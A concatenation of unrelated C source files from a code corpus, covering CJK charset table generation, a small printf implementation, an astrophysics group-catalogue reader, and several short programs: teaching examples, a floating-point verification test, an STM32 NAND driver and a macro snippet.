static void do_gbk2_only_charset2uni (const char* name)
{
Encoding enc;
enc.rows = 126;
enc.cols = 96;
enc.row_byte = row_byte_gbk2;
enc.col_byte = col_byte_gbk2;
enc.byte_row = byte_row_gbk2;
enc.byte_col = byte_col_gbk2;
enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xa1)";
enc.byte_row_expr = "%1$s - 0x81";
enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)";
read_table(&enc);
output_charset2uni(name,&enc);
}
static void do_gbk1_only_uni2charset (const char* name)
{
Encoding enc;
enc.rows = 126;
enc.cols = 190;
enc.row_byte = row_byte_gbk1;
enc.col_byte = col_byte_gbk1;
enc.byte_row = byte_row_gbk1;
enc.byte_col = byte_col_gbk1;
enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)";
enc.byte_row_expr = "%1$s - 0x81";
enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)";
read_table(&enc);
invert(&enc); output_uni2charset_sparse(name,&enc);
}
/* KSC 5601 specifics */
/*
* Reads the charset2uni table from standard input.
*/
static void read_table_ksc5601 (Encoding* enc)
{
int row, col, i, i1, i2, c, j;
enc->charset2uni = (int**) malloc(enc->rows*sizeof(int*));
for (row = 0; row < enc->rows; row++)
enc->charset2uni[row] = (int*) malloc(enc->cols*sizeof(int));
for (row = 0; row < enc->rows; row++)
for (col = 0; col < enc->cols; col++)
enc->charset2uni[row][col] = 0xfffd;
c = getc(stdin);
ungetc(c,stdin);
if (c == '#') {
/* Read a unicode.org style .TXT file. */
for (;;) {
c = getc(stdin);
if (c == EOF)
break;
if (c == '\n' || c == ' ' || c == '\t')
continue;
if (c == '#') {
do { c = getc(stdin); } while (!(c == EOF || c == '\n'));
continue;
}
ungetc(c,stdin);
if (scanf("0x%x", &j) != 1)
exit(1);
i1 = j >> 8;
i2 = j & 0xff;
if (scanf(" 0x%x", &j) != 1)
exit(1);
/* Take only the range covered by KS C 5601.1987-0 = KS C 5601.1989-0
= KS X 1001.1992, ignore the rest. */
if (!(i1 >= 128+33 && i1 < 128+127 && i2 >= 128+33 && i2 < 128+127))
continue; /* KSC5601 specific */
i1 &= 0x7f; /* KSC5601 specific */
i2 &= 0x7f; /* KSC5601 specific */
row = enc->byte_row(i1);
col = enc->byte_col(i2);
if (row < 0 || col < 0) {
fprintf(stderr, "lost entry for %02x %02x\n", i1, i2);
exit(1);
}
enc->charset2uni[row][col] = j;
}
} else {
/* Read a table of hexadecimal Unicode values. */
for (i1 = 33; i1 < 127; i1++)
for (i2 = 33; i2 < 127; i2++) {
i = scanf("%x", &j);
if (i == EOF)
goto read_done;
if (i != 1)
exit(1);
if (j < 0 || j == 0xffff)
j = 0xfffd;
if (j != 0xfffd) {
if (enc->byte_row(i1) < 0 || enc->byte_col(i2) < 0) {
fprintf(stderr, "lost entry at %02x %02x\n", i1, i2);
exit (1);
}
enc->charset2uni[enc->byte_row(i1)][enc->byte_col(i2)] = j;
}
}
read_done: ;
}
}
static void do_ksc5601 (const char* name)
{
Encoding enc;
enc.rows = 94;
enc.cols = 94;
enc.row_byte = row_byte_normal;
enc.col_byte = col_byte_normal;
enc.byte_row = byte_row_normal;
enc.byte_col = byte_col_normal;
enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.byte_row_expr = "%1$s - 0x21";
enc.byte_col_expr = "%1$s - 0x21";
read_table_ksc5601(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_sparse(name,&enc);
}
/* Big5 specifics */
static int row_byte_big5 (int row) {
return 0xa1+row;
}
static int col_byte_big5 (int col) {
return (col >= 0x3f ? 0x62 : 0x40) + col;
}
static int byte_row_big5 (int byte) {
if (byte >= 0xa1 && byte < 0xff)
return byte-0xa1;
else
return -1;
}
static int byte_col_big5 (int byte) {
if (byte >= 0x40 && byte < 0x7f)
return byte-0x40;
else if (byte >= 0xa1 && byte < 0xff)
return byte-0x62;
else
return -1;
}
static void do_big5 (const char* name)
{
Encoding enc;
enc.rows = 94;
enc.cols = 157;
enc.row_byte = row_byte_big5;
enc.col_byte = col_byte_big5;
enc.byte_row = byte_row_big5;
enc.byte_col = byte_col_big5;
enc.check_row_expr = "%1$s >= 0xa1 && %1$s < 0xff";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0xa1 && %1$s < 0xff)";
enc.byte_row_expr = "%1$s - 0xa1";
enc.byte_col_expr = "%1$s - (%1$s >= 0xa1 ? 0x62 : 0x40)";
read_table(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_sparse(name,&enc);
}
/* Johab Hangul specifics */
static int row_byte_johab_hangul (int row) {
return 0x84+row;
}
static int col_byte_johab_hangul (int col) {
return (col >= 0x3e ? 0x43 : 0x41) + col;
}
static int byte_row_johab_hangul (int byte) {
if (byte >= 0x84 && byte < 0xd4)
return byte-0x84;
else
return -1;
}
static int byte_col_johab_hangul (int byte) {
if (byte >= 0x41 && byte < 0x7f)
return byte-0x41;
else if (byte >= 0x81 && byte < 0xff)
return byte-0x43;
else
return -1;
}
static void do_johab_hangul (const char* name)
{
Encoding enc;
enc.rows = 80;
enc.cols = 188;
enc.row_byte = row_byte_johab_hangul;
enc.col_byte = col_byte_johab_hangul;
enc.byte_row = byte_row_johab_hangul;
enc.byte_col = byte_col_johab_hangul;
enc.check_row_expr = "%1$s >= 0x84 && %1$s < 0xd4";
enc.check_col_expr = "(%1$s >= 0x41 && %1$s < 0x7f) || (%1$s >= 0x81 && %1$s < 0xff)";
enc.byte_row_expr = "%1$s - 0x84";
enc.byte_col_expr = "%1$s - (%1$s >= 0x81 ? 0x43 : 0x41)";
read_table(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_dense(name,&enc);
}
/* SJIS specifics */
static int row_byte_sjis (int row) {
return (row >= 0x1f ? 0xc1 : 0x81) + row;
}
static int col_byte_sjis (int col) {
return (col >= 0x3f ? 0x41 : 0x40) + col;
}
static int byte_row_sjis (int byte) {
if (byte >= 0x81 && byte < 0xa0)
return byte-0x81;
else if (byte >= 0xe0)
return byte-0xc1;
else
return -1;
}
static int byte_col_sjis (int byte) {
if (byte >= 0x40 && byte < 0x7f)
return byte-0x40;
else if (byte >= 0x80 && byte < 0xfd)
return byte-0x41;
else
return -1;
}
static void do_sjis (const char* name)
{
Encoding enc;
enc.rows = 94;
enc.cols = 188;
enc.row_byte = row_byte_sjis;
enc.col_byte = col_byte_sjis;
enc.byte_row = byte_row_sjis;
enc.byte_col = byte_col_sjis;
enc.check_row_expr = "(%1$s >= 0x81 && %1$s < 0xa0) || (%1$s >= 0xe0)";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xfd)";
enc.byte_row_expr = "%1$s - (%1$s >= 0xe0 ? 0xc1 : 0x81)";
enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)";
read_table(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_sparse(name,&enc);
}
/* Main program */
int main (int argc, char *argv[])
{
const char* charsetname;
const char* name;
if (argc != 3)
exit(1);
charsetname = argv[1];
name = argv[2];
output_title(charsetname);
if (!strcmp(name,"gb2312") || !strcmp(name,"gb12345ext")
|| !strcmp(name,"jisx0208") || !strcmp(name,"jisx0212"))
do_normal(name);
else if (!strcmp(name,"cns11643_1") || !strcmp(name,"cns11643_2")
|| !strcmp(name,"cns11643_3"))
do_normal_only_charset2uni(name);
else if (!strcmp(name,"cns11643_inv"))
do_cns11643_only_uni2charset(name);
else if (!strcmp(name,"gbkext1"))
do_gbk1_only_charset2uni(name);
else if (!strcmp(name,"gbkext2"))
do_gbk2_only_charset2uni(name);
else if (!strcmp(name,"gbkext_inv"))
do_gbk1_only_uni2charset(name);
else if (!strcmp(name,"cp936ext"))
do_gbk1(name);
else if (!strcmp(name,"ksc5601"))
do_ksc5601(name);
else if (!strcmp(name,"big5") || !strcmp(name,"cp950ext"))
do_big5(name);
else if (!strcmp(name,"johab_hangul"))
do_johab_hangul(name);
else if (!strcmp(name,"cp932ext"))
do_sjis(name);
else
exit(1);
return 0;
}
|
the_stack_data/125140910.c
|
/*
Copyright 2001, 2002 Georges Menie (www.menie.org)
stdarg version contributed by Christian Ettinger
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
putchar is the only external dependency for this file,
if you have a working putchar, leave it commented out.
If not, uncomment the define below and
replace outbyte(c) by your own function call.
#define putchar(c) outbyte(c)
*/
#include <stdarg.h>
#include <stdint.h>
extern int _write(int fd, char* ptr, int len);
static void printchar(char **str, int c) {
if (str) {
**str = c;
++(*str);
}
else {
static const int STDOUT_FILENO = 1;
_write(STDOUT_FILENO, &c, 1);
}
}
#define PAD_RIGHT 1
#define PAD_ZERO 2
static int prints(char **out, const char *string, int width, int pad) {
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for (; width > 0; --width) {
printchar(out, padchar);
++pc;
}
}
for (; *string; ++string) {
printchar(out, *string);
++pc;
}
for (; width > 0; --width) {
printchar(out, padchar);
++pc;
}
return pc;
}
/* the following should be enough for 32 bit int */
#define PRINT_BUF_LEN 12
static int printi(char** out, int i, int b, int sg, int width, int pad, int letbase) {
char print_buf[PRINT_BUF_LEN];
register char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints(out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN - 1;
*s = '\0';
while (u) {
t = u % b;
if (t >= 10)
t += letbase - '0' - 10;
* --s = t + '0';
u /= b;
}
if (neg) {
if (width && (pad & PAD_ZERO)) {
printchar(out, '-');
++pc;
--width;
}
else {
* --s = '-';
}
}
return pc + prints(out, s, width, pad);
}
int print(char** out, const char* format, va_list args) {
register int width, pad;
register int pc = 0;
char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for (; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if (*format == 's') {
register char *s = (char *)va_arg(args, int);
pc += prints(out, s ? s : "(null)", width, pad);
continue;
}
if (*format == 'l') {
++format;
if (*format == 'd') {
pc += printi(out, va_arg(args, long), 10, 1, width, pad, 'a');
continue;
}
if (*format == 'u') {
pc += printi(out, va_arg(args, long), 10, 0, width, pad, 'a');
continue;
}
}
if (*format == 'd') {
pc += printi(out, va_arg(args, int), 10, 1, width, pad, 'a');
continue;
}
if (*format == 'x') {
pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'a');
continue;
}
if (*format == 'X') {
pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'A');
continue;
}
if (*format == 'u') {
pc += printi(out, va_arg(args, int), 10, 0, width, pad, 'a');
continue;
}
if (*format == 'c') {
/* char are converted to int then pushed on the stack */
scr[0] = (char)va_arg(args, int);
scr[1] = '\0';
pc += prints(out, scr, width, pad);
continue;
}
}
else {
out:
printchar(out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end(args);
return pc;
}
int printf(const char* format, ...) {
va_list args;
va_start(args, format);
return print(0, format, args);
}
int sprintf(char* out, const char* format, ...) {
va_list args;
va_start(args, format);
return print(&out, format, args);
}
int snprintf(char* buf, unsigned int count, const char* format, ...) {
va_list args;
(void)count;
va_start(args, format);
return print(&buf, format, args);
}
|
the_stack_data/32950140.c
|
/*
Program to do retrieve fof-group-finder catalogue
gcc -lm -o get_group_catalogue get_group_catalogue.c
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>
#include <string.h>
//#include "libgad.h"
typedef struct
{
int len;
int file;
int offset;
int typecount[6];
double typemass[6];
float center[3];
float vel[3];
float mass;
float sfr;
float mdot;
float mbh;
}
cat_data;
void usage()
{
fprintf(stderr," Get_Group_Catalogue v0.01\n");
fprintf(stderr," -i <input file name>\n");
fprintf(stderr," -n <snapshot number>\n");
fprintf(stderr," \n\n");
exit(1);
}
int id_sort_groups(const void *a, const void *b)
{
if(((cat_data *) a)->len > ((cat_data *) b)->len)
return -1;
if(((cat_data *) a)->len < ((cat_data *) b)->len)
return +1;
return 0;
}
int id_sort_compare_key(const void *a, const void *b)
{
if(*((unsigned long *) a) < *((unsigned long *) b))
return -1;
if(*((unsigned long *) a) > *((unsigned long *) b))
return +1;
return 0;
}
int get_group_catalogue(int Num, char *OutputDir, cat_data **ret_cat, int *ngroups)
{
int Ngroups, Nids, TotNgroups, NTask, count, i, j, filenr;
int *GroupLen, *GroupOff, *GroupFileNr, *GroupNr, *GroupTypeLen;
long long TotNids;
float *GroupTypeMass;
float *GroupCenter, *GroupVel, *GroupSfr, *GroupMass;
char buf[1000];
cat_data *cat;
FILE *fd;
// Num = *(int *) argv[1];
sprintf(buf, "%s/groups_%03d/group_tab_%03d.0", OutputDir, Num, Num);
if(!(fd = fopen(buf, "r")))
{
sprintf(buf, "%s/group_tab_%03d.0", OutputDir, Num);
if(!(fd = fopen(buf, "r")))
{
printf("can't open file `%s'\n", buf);
return -1;
}
}
fread(&Ngroups, sizeof(int), 1, fd);
fread(&TotNgroups, sizeof(int), 1, fd);
*ngroups = TotNgroups;
fread(&Nids, sizeof(int), 1, fd);
fread(&TotNids, sizeof(long long), 1, fd);
fread(&NTask, sizeof(int), 1, fd);
fclose(fd);
GroupLen = (int *) malloc(sizeof(int) * TotNgroups);
GroupOff = (int *) malloc(sizeof(int) * TotNgroups);
GroupFileNr = (int *) malloc(sizeof(int) * TotNgroups);
GroupNr = (int *) malloc(sizeof(int) * TotNgroups);
GroupTypeLen = (int *) malloc(sizeof(int) * TotNgroups * 6);
GroupTypeMass = (float *) malloc(sizeof(float) * TotNgroups * 6);
GroupCenter = (float *) malloc(sizeof(float) * TotNgroups * 3);
GroupVel = (float *) malloc(sizeof(float) * TotNgroups * 3);
GroupMass = (float *) malloc(sizeof(float) * TotNgroups);
GroupSfr = (float *) malloc(sizeof(float) * TotNgroups);
for(filenr = 0, count = 0; filenr < NTask; filenr++)
{
// printf("filenr %d | NTask %d \n", filenr, NTask);
sprintf(buf, "%s/groups_%03d/group_tab_%03d.%d", OutputDir, Num, Num, filenr);
if(!(fd = fopen(buf, "r")))
{
sprintf(buf, "%s/group_tab_%03d.%d", OutputDir, Num, filenr);
if(!(fd = fopen(buf, "r")))
{
printf("can't open file `%s'\n", buf);
return -1;
}
}
fread(&Ngroups, sizeof(int), 1, fd);
fread(&TotNgroups, sizeof(int), 1, fd);
fread(&Nids, sizeof(int), 1, fd);
fread(&TotNids, sizeof(long long), 1, fd);
fread(&NTask, sizeof(int), 1, fd);
// printf(" %d %d %d %d | %d\n", Ngroups, Nids, TotNgroups, NTask, TotNids);
fread(&GroupLen[count], sizeof(int), Ngroups, fd);
/* skip offset table */
fread(&GroupOff[count], sizeof(int), Ngroups, fd);
fread(&GroupMass[count], sizeof(float), Ngroups, fd);
fread(&GroupCenter[3*count], 3*sizeof(float), Ngroups, fd);
fread(&GroupVel[3*count], 3*sizeof(float), Ngroups, fd);
fread(&GroupTypeLen[6*count], 6*sizeof(int), Ngroups, fd);
fread(&GroupTypeMass[6*count], 6*sizeof(float), Ngroups, fd);
fread(&GroupSfr[count], sizeof(float), Ngroups, fd);
for(i = 0; i < Ngroups; i++)
{
GroupFileNr[i + count] = filenr;
GroupNr[i + count] = i;
}
count += Ngroups;
fclose(fd);
}
cat = calloc(TotNgroups, sizeof(cat_data));
*ret_cat = cat;
//for(i = 0; i < 10; i++)
// printf("%d\n", GroupLen[i]);
for(i = 0; i < TotNgroups; i++)
{
cat[i].len = GroupLen[i];
cat[i].file = GroupFileNr[i];
cat[i].offset = GroupOff[i];
cat[i].mass = GroupMass[i];
for(j=0; j<6; j++)
{
cat[i].typecount[j] = GroupTypeLen[6*i+j];
cat[i].typemass[j] = GroupTypeMass[6*i+j];
}
for(j=0; j<3; j++)
{
cat[i].center[j] = GroupCenter[3*i+j];
cat[i].vel[j] = GroupVel[3*i+j];
}
cat[i].sfr = GroupSfr[i];
}
qsort(cat, TotNgroups, sizeof(cat_data), id_sort_groups);
// for(i = 0; i < TotNgroups; i++)
// {
// GroupLen[i] = cat[i].len;
// GroupFileNr[i] = cat[i].file;
// GroupNr[i] = cat[i].offset;
// for(j=0; j<6; j++)
// {
// GroupTypeLen[6*i+j] = cat[i].typecount[j];
// GroupTypeMass[6*i+j] = cat[i].typemass[j];
// }
//
// for(j=0; j<3; j++)
// GroupCenter[3*i+j]= cat[i].center[j];
// GroupSfr[i] = cat[i].sfr;
// }
free(GroupLen);
free(GroupOff);
free(GroupFileNr);
free(GroupNr);
free(GroupTypeLen);
free(GroupTypeMass);
free(GroupCenter);
free(GroupVel);
free(GroupMass);
free(GroupSfr);
// free(cat);
return TotNgroups;
}
int get_group_indices(int Num, char *OutputDir, cat_data cat, unsigned long **IDS)
{
int FileNr = cat.file;
int offset = cat.offset;
int GroupLen = cat.len;
int NTask;
FILE *fd;
long long TotNids;
int Ngroups, TotNgroups, Nids, idum;
char buf[1024];
unsigned long *ids;
ids = malloc(GroupLen * sizeof(unsigned long));
*IDS = ids;
sprintf(buf, "%s/groups_%03d/group_ids_%03d.%d", OutputDir, Num, Num, FileNr);
if(!(fd = fopen(buf, "r")))
{
sprintf(buf, "%s/group_ids_%03d.%d", OutputDir, Num, FileNr);
if(!(fd = fopen(buf, "r")))
{
printf("can't open file `%s'\n", buf);
return -1;
}
}
fread(&Ngroups, sizeof(int), 1, fd);
fread(&TotNgroups, sizeof(int), 1, fd);
fread(&Nids, sizeof(int), 1, fd);
fread(&TotNids, sizeof(long long), 1, fd);
fread(&NTask, sizeof(int), 1, fd);
fread(&idum, sizeof(int), 1, fd);
fseek(fd, sizeof(unsigned long) * offset, SEEK_CUR);
fread(ids, sizeof(unsigned long), GroupLen, fd);
fclose(fd);
// printf("%lu, %d, %d\n", ids[0], offset, sizeof(unsigned long long) );
qsort(ids, GroupLen, sizeof(unsigned long), id_sort_compare_key);
// printf("%lu\n", ids[0]);
return 0;
}
void write_ids(char *filename, unsigned long *ids, cat_data cat)
{
FILE *fp = fopen(filename, "w");
unsigned int dum=0;
fwrite(&dum, sizeof(unsigned int), 1, fp);
fwrite(&(cat.center), sizeof(float), 3, fp);
// fwrite(ids, sizeof(unsigned long), len,fp);
fclose(fp);
}
int main (int argc, char *argv[])
{
int i;
int ngroups=0;
int num = 95;
int write = 0;
char infile[1024], outbase[1024];
cat_data *cat;
int min_len = 0;
i=1;
strcpy(infile,"./");
if (1==argc) usage();
while (i<argc)
{
if (!strcmp(argv[i],"-i"))
{
i++;
strcpy(infile,argv[i]);
i++;
}
else if (*argv[i]!='-')
{
strcpy(infile,argv[i]);
i++;
}
else if (!strcmp(argv[i],"-n"))
{
i++;
num = atoi(argv[i]);
i++;
}
else if (!strcmp(argv[i],"-o"))
{
i++;
strcpy(outbase, argv[i]);
write = 1;
i++;
}
else if (!strcmp(argv[i],"-m"))
{
i++;
min_len= atoi(argv[i]);
i++;
}
else if (!strcmp(argv[i],"-use")) {
} else {
usage();
}
}
get_group_catalogue(num, infile, &cat, &ngroups);
unsigned int j=0;
for ( i = 0; i < ngroups; i++)
// for ( i = 0; i < 1; i++)
// for ( i = 0; i < 3; i++)
{
// printf("%d %10d %10d %10g\n", i, cat[i].len, cat[i].offset, cat[i].mass);
// printf("%10d %d %d %d %d %d %d %d \n", i, cat[i].len, cat[i].typecount[0], cat[i].typecount[1], cat[i].typecount[2], cat[i].typecount[3], cat[i].typecount[4], cat[i].typecount[5]);
// printf("%10d %10g %10g %10g %10g %10g %10g \n", i, cat[i].typemass[0], cat[i].typemass[1], cat[i].typemass[2], cat[i].typemass[3], cat[i].typemass[4], cat[i].typemass[5]);
// printf("%10d %10g %10g %10g \n", i, cat[i].center[0], cat[i].center[1], cat[i].center[2]);
// printf("%10d %10g %10g %10g \n", i, cat[i].vel[0], cat[i].vel[1], cat[i].vel[2]);
// printf("%10d %10g %10g %10g \n", i, cat[i].sfr, cat[i].mdot, cat[i].mbh);
printf("%6d %10d %10d %10d %10g %10g %10g %10g\n", i, cat[i].len, cat[i].offset, cat[i].file, cat[i].mass, cat[i].center[0], cat[i].center[1], cat[i].center[2]);
if ( (write) && (cat[i].len >= min_len) )
{
unsigned long *ids;
get_group_indices(num, infile, cat[i], &ids);
char outfilename[1024];
sprintf(outfilename,"%s_%u", outbase, j++);
write_ids(outfilename, ids, cat[i]);
free(ids);
}
}
return 0;
}
|
the_stack_data/497724.c
|
#include <stdio.h>
int main (){
int n1 = 0, n2 = 1, n3, panjDeret;
printf("Masukkan Panjang Deret: ");
scanf("%d", &panjDeret);
printf("%d %d ", n1, n2);
for(int i = 2; i < panjDeret; i++){
n3 = n1 + n2;
printf("%d ", n3);
n1 = n2;
n2 = n3;
}
return 0;
}
|
the_stack_data/16644.c
|
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
int main(int argc, char **argv) {
int i, n=20, a[n],suma=0,sumalocal;
if(argc < 2) {
fprintf(stderr,"\nFalta iteraciones\n"); exit(-1);
}
n = atoi(argv[1]); if (n>20) n=20;
for (i=0; i<n; i++) a[i] = i;
#pragma omp parallel private(sumalocal)
{ sumalocal=0;
#pragma omp for schedule(static)
for (i=0; i<n; i++)
{ sumalocal += a[i];
printf(" thread %d suma de a[%d]=%d sumalocal=%d \n", omp_get_thread_num(),i,a[i],sumalocal);
}
#pragma omp critical
suma = suma + sumalocal;
}
printf("Fuera de 'parallel' suma=%d\n",suma);
return(0);
}
|
the_stack_data/31102.c
|
#include <stdio.h>
void pound(int n);
int main(void)
{
int times = 5;
char ch = '!';
float f = 6.0f;
pound(times);
pound(ch);
pound(f);
return 0;
}
void pound(int n)
{
while (n-- > 0)
{
printf("#");
}
printf("\n");
}
|
the_stack_data/247018035.c
|
/*
** subnormal-boundary.c
**
** Martin Brain
** [email protected]
** 25/07/12
**
** Regression tests for casting and classification around the subnormal boundary.
**
*/
#include <assert.h>
#include <math.h>
float nondet_float(void);
int main (void)
{
#ifdef __GNUC__
float smallestNormalFloat = 0x1.0p-126f;
float largestSubnormalFloat = 0x1.fffffcp-127f;
double v = 0x1.FFFFFFp-127;
float f;
// Check the encodings are correct
assert(fpclassify(largestSubnormalFloat) == FP_SUBNORMAL);
f = nondet_float();
__CPROVER_assume(fpclassify(f) == FP_SUBNORMAL);
assert(f <= largestSubnormalFloat);
assert(fpclassify(smallestNormalFloat) == FP_NORMAL);
f = nondet_float();
__CPROVER_assume(fpclassify(f) == FP_NORMAL);
assert(smallestNormalFloat <= fabs(f));
assert(largestSubnormalFloat < smallestNormalFloat);
// Check the ordering as doubles
assert(((double)largestSubnormalFloat) < ((double)smallestNormalFloat));
assert(((double)largestSubnormalFloat) < v);
assert(v < ((double)smallestNormalFloat));
// Check coercion to float
assert((float)((double)largestSubnormalFloat) == largestSubnormalFloat);
assert((float)((double)smallestNormalFloat) == smallestNormalFloat);
assert(((double)smallestNormalFloat) - v <= v - ((double)largestSubnormalFloat));
assert(((float)v) == smallestNormalFloat);
f = nondet_float();
__CPROVER_assume(fpclassify(f) == FP_SUBNORMAL);
assert( ((float)((double)f)) == f );
#endif
return 0;
}
|
the_stack_data/100131.c
|
/*
* Copyright (C) 2015-2017 Alibaba Group Holding Limited
*/
/*
* Due to FMC is used for external flash, So it's just a sample!!!
*/
#if defined(HAL_NAND_MODULE_ENABLED)
#if defined(STM32L471xx) || defined(STM32L475xx) || defined(STM32L476xx) || defined(STM32L485xx) || defined(STM32L486xx) || \
defined(STM32L496xx) || defined(STM32L4A6xx) || \
defined(STM32L4R5xx) || defined(STM32L4R7xx) || defined(STM32L4R9xx) || defined(STM32L4S5xx) || defined(STM32L4S7xx) || defined(STM32L4S9xx)
#include "hal_nand_stm32l4.h"
static NAND_HandleTypeDef nand_handle;
static uint32_t nand_initialize = 0;
static uint32_t FMC_Initialized = 0;
int32_t hal_nand_init(nand_dev_t *nand)
{
FMC_NAND_PCC_TimingTypeDef ComSpaceTiming;
FMC_NAND_PCC_TimingTypeDef AttSpaceTiming;
if (nand_initialize)
return HAL_OK;
/** Perform the NAND1 memory initialization sequence
*/
nand_handle.Instance = NAND_HANDLE_INSTANCE;
/* hnand1.Init */
nand_handle.Init.NandBank = NAND_INIT_NAND_BANK;
nand_handle.Init.Waitfeature = NAND_INIT_WAIT_FEATURE;
nand_handle.Init.MemoryDataWidth = NAND_INIT_MEMORY_DATA_WIDTH;
nand_handle.Init.EccComputation = NAND_INIT_ECC_COMPUTATION;
nand_handle.Init.ECCPageSize = NAND_INIT_ECC_PAGE_SIZE;
nand_handle.Init.TCLRSetupTime = NAND_INIT_TCLR_SETUP_TIME;
nand_handle.Init.TARSetupTime = NAND_INIT_TAR_SETUP_TIME;
/* hnand1.Info */
nand_handle.Info.PageSize = NAND_INFO_PAGE_SIZE;
nand_handle.Info.SpareAreaSize = NAND_INFO_SPARE_AREA_SIZE;
nand_handle.Info.BlockSize = NAND_INFO_BLOCK_SIZE;
nand_handle.Info.BlockNbr = NAND_INFO_BLOCK_NBR;
nand_handle.Info.ZoneSize = NAND_INFO_ZONE_SIZE;
/* ComSpaceTiming */
ComSpaceTiming.SetupTime = COM_SPACE_SETUP_TIME;
ComSpaceTiming.WaitSetupTime = COM_SPACE_WAIT_TIME;
ComSpaceTiming.HoldSetupTime = COM_SPACE_HOLD_TIME;
ComSpaceTiming.HiZSetupTime = COM_SPACE_HIZ_TIME;
/* AttSpaceTiming */
AttSpaceTiming.SetupTime = ATT_SPACE_SETUP_TIME;
AttSpaceTiming.WaitSetupTime = ATT_SPACE_WAIT_TIME;
AttSpaceTiming.HoldSetupTime = ATT_SPACE_HOLD_TIME;
AttSpaceTiming.HiZSetupTime = ATT_SPACE_HIZ_TIME;
if (HAL_NAND_Init(&nand_handle, &ComSpaceTiming, &AttSpaceTiming) != HAL_OK)
return -1;
nand_initialize = 1;
nand->priv = (void *)&nand_handle;
nand->config.page_size = nand_handle.Info.PageSize;
nand->config.spare_area_size = nand_handle.Info.SpareAreaSize;
nand->config.block_size = nand_handle.Info.BlockSize;
nand->config.zone_size = nand_handle.Info.ZoneSize;
nand->config.zone_number = 1;
return HAL_OK;
}
int32_t hal_nand_finalize(nand_dev_t *nand)
{
int32_t ret = HAL_OK;
nand_initialize = 0;
if (HAL_NAND_DeInit(&nand_handle) != HAL_OK) {
ret = -1;
}
memset(nand, 0, sizeof(nand_dev_t));
return -1;
}
int32_t hal_nand_read_page(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t page_count)
{
NAND_AddressTypeDef nand_addr;
nand_addr.Block = addr->block;
nand_addr.Page = addr->page;
nand_addr.Zone = addr->zone;
if (HAL_NAND_Read_Page(nand->priv, &nand_addr, data, page_count) != HAL_OK)
return -1;
return HAL_OK;
}
int32_t hal_nand_write_page(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t page_count)
{
NAND_AddressTypeDef nand_addr;
nand_addr.Block = addr->block;
nand_addr.Page = addr->page;
nand_addr.Zone = addr->zone;
if (HAL_NAND_Write_Page(nand->priv, &nand_addr, data, page_count) != HAL_OK)
return -1;
return HAL_OK;
}
int32_t hal_nand_read_spare(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t data_len)
{
NAND_AddressTypeDef nand_addr;
nand_addr.Block = addr->block;
nand_addr.Page = addr->page;
nand_addr.Zone = addr->zone;
if (HAL_NAND_Read_SpareArea(nand->priv, &nand_addr, data, data_len) != HAL_OK)
return -1;
return HAL_OK;
}
int32_t hal_nand_write_spare(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t data_len)
{
NAND_AddressTypeDef nand_addr;
nand_addr.Block = addr->block;
nand_addr.Page = addr->page;
nand_addr.Zone = addr->zone;
if (HAL_NAND_Write_SpareArea(nand->priv, &nand_addr, data, data_len) != HAL_OK)
return -1;
return HAL_OK;
}
int32_t hal_nand_erase_block(nand_dev_t *nand, nand_addr_t *addr)
{
NAND_AddressTypeDef nand_addr;
nand_addr.Block = addr->block;
nand_addr.Page = addr->page;
nand_addr.Zone = addr->zone;
if (HAL_NAND_Erase_Block(nand->priv, &nand_addr) != HAL_OK)
return -1;
return HAL_OK;
}
#endif
#endif
|
the_stack_data/127677.c
|
//Preprocessor: là một công cụ thay thế văn bản và nó chỉ thị trình biên dịch cần thực hiện trước khi biên dịch.
#include <stdio.h>
#define MIN(a, b) (((a) < (b)) ? a : b)
#define MAX(a, b) (((a) > (b)) ? a : b)
